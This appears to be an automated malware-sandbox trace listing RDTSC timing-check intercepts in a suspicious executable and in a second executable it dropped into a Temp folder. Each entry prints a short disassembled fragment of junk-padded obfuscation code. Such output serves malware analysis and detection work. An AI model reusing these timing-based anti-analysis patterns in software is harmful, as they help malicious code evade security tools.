Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0ACE second address: 4EA0B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAA08D7CA37h 0x00000009 sbb ax, CAAEh 0x0000000e jmp 00007FAA08D7CA39h 0x00000013 popfd 0x00000014 call 00007FAA08D7CA30h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d je 00007FAA799423A1h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0B28 second address: 4EA0B42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929786h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0B42 second address: 4EA0B7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FAA08D7CA36h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FAA08D7CA2Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0B7A second address: 4EA0B8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0B8F second address: 4EA0B97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0BD1 second address: 4EA0BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0BD5 second address: 4EA0BF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0BF2 second address: 4EA0C50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 6A15BE02h 0x00000008 pushfd 0x00000009 jmp 00007FAA08929783h 0x0000000e sbb cl, FFFFFFFEh 0x00000011 jmp 00007FAA08929789h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007FAA08929781h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FAA0892977Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0CB4 second address: 4EA0CDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dh 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, C892h 0x00000012 call 00007FAA08D7CA33h 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F240C second address: 1F2416 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAA08929782h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F2416 second address: 1F241C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F241C second address: 1F2435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jc 00007FAA08929776h 0x0000000e jg 00007FAA08929776h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F2435 second address: 1F2449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FAA08D7CA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FAA08D7CA2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F2449 second address: 1F245C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FAA0892977Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1E978C second address: 1E9790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1E9790 second address: 1E97AE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAA08929788h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1E97AE second address: 1E97B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1E97B4 second address: 1E97B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1E97B8 second address: 1E97EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA30h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAA08D7CA35h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1E97EA second address: 1E9816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08929789h 0x00000009 pop ecx 0x0000000a jne 00007FAA0892977Eh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1573 second address: 1F157D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAA08D7CA26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F157D second address: 1F1581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1859 second address: 1F1863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAA08D7CA26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1863 second address: 1F1875 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAA0892977Ah 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1C80 second address: 1F1C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1C86 second address: 1F1C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1C8F second address: 1F1C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAA08D7CA26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1C99 second address: 1F1CA3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAA08929776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1CA3 second address: 1F1CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FAA08D7CA2Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1CBC second address: 1F1CC6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAA08929776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1CC6 second address: 1F1CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F1CCC second address: 1F1CD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007FAA08929776h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F4BDC second address: 1F4BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAA08D7CA38h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F4D6C second address: 1F4D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAA0892977Eh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F4F60 second address: 1F4F72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F4F72 second address: 1F501F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 62283CD6h 0x00000010 sub edi, dword ptr [ebp+122D38E4h] 0x00000016 push 00000003h 0x00000018 pushad 0x00000019 mov bl, 28h 0x0000001b mov ebx, ecx 0x0000001d popad 0x0000001e add dword ptr [ebp+122D32D3h], ecx 0x00000024 push 00000000h 0x00000026 sub dword ptr [ebp+122D227Bh], edi 0x0000002c push 00000003h 0x0000002e mov edx, dword ptr [ebp+122D195Fh] 0x00000034 push 47BDD3EDh 0x00000039 jmp 00007FAA08929781h 0x0000003e add dword ptr [esp], 78422C13h 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007FAA08929778h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D22C1h], edi 0x00000065 lea ebx, dword ptr [ebp+1245AB71h] 0x0000006b je 00007FAA0892977Ch 0x00000071 mov dword ptr [ebp+122D1AB7h], edx 0x00000077 xchg eax, ebx 0x00000078 jnp 00007FAA08929784h 0x0000007e push eax 0x0000007f push edx 0x00000080 jnc 00007FAA08929776h 0x00000086 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 1F501F second address: 1F502B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 216F0A second address: 216F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 214E07 second address: 214E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 214E0B second address: 214E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21520D second address: 21522E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAA08D7CA34h 0x00000008 jne 00007FAA08D7CA26h 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215375 second address: 215396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Fh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FAA0892977Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2154D7 second address: 2154EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAA08D7CA26h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2154EA second address: 2154EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21576B second address: 215771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215771 second address: 2157A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FAA08929783h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FAA08929784h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2157A3 second address: 2157B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FAA08D7CA26h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2157B6 second address: 2157D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2157D5 second address: 2157E1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA08D7CA26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215952 second address: 215964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAA08929776h 0x0000000a jng 00007FAA08929776h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215964 second address: 215969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215969 second address: 21596F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215A97 second address: 215A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215A9D second address: 215AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215AA3 second address: 215ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FAA08D7CA3Bh 0x0000000c ja 00007FAA08D7CA26h 0x00000012 jmp 00007FAA08D7CA2Fh 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAA08D7CA37h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215ADF second address: 215B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAA08929788h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215B01 second address: 215B1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA37h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215EED second address: 215EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215EF1 second address: 215EF9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215EF9 second address: 215F08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007FAA08929776h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215F08 second address: 215F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215F0E second address: 215F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FAA08929784h 0x00000011 jmp 00007FAA08929780h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jc 00007FAA08929776h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 215F4B second address: 215F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FAA08D7CA26h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 216A50 second address: 216A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 216D7E second address: 216DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08D7CA39h 0x00000009 jmp 00007FAA08D7CA2Fh 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 219D25 second address: 219D3D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAA08929776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jp 00007FAA08929776h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 219D3D second address: 219D42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21AFDF second address: 21AFF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21C37B second address: 21C389 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 je 00007FAA08D7CA2Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21F862 second address: 21F868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21F868 second address: 21F870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21F870 second address: 21F87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAA08929776h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 21F87A second address: 21F880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 224656 second address: 22465A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 223D7A second address: 223D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2241D6 second address: 2241EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA08929781h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 224361 second address: 224365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 224365 second address: 22436B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2244CA second address: 2244CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2268AB second address: 2268AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2268AF second address: 2268B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2268B4 second address: 2268C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnl 00007FAA08929784h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 2268C6 second address: 2268CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
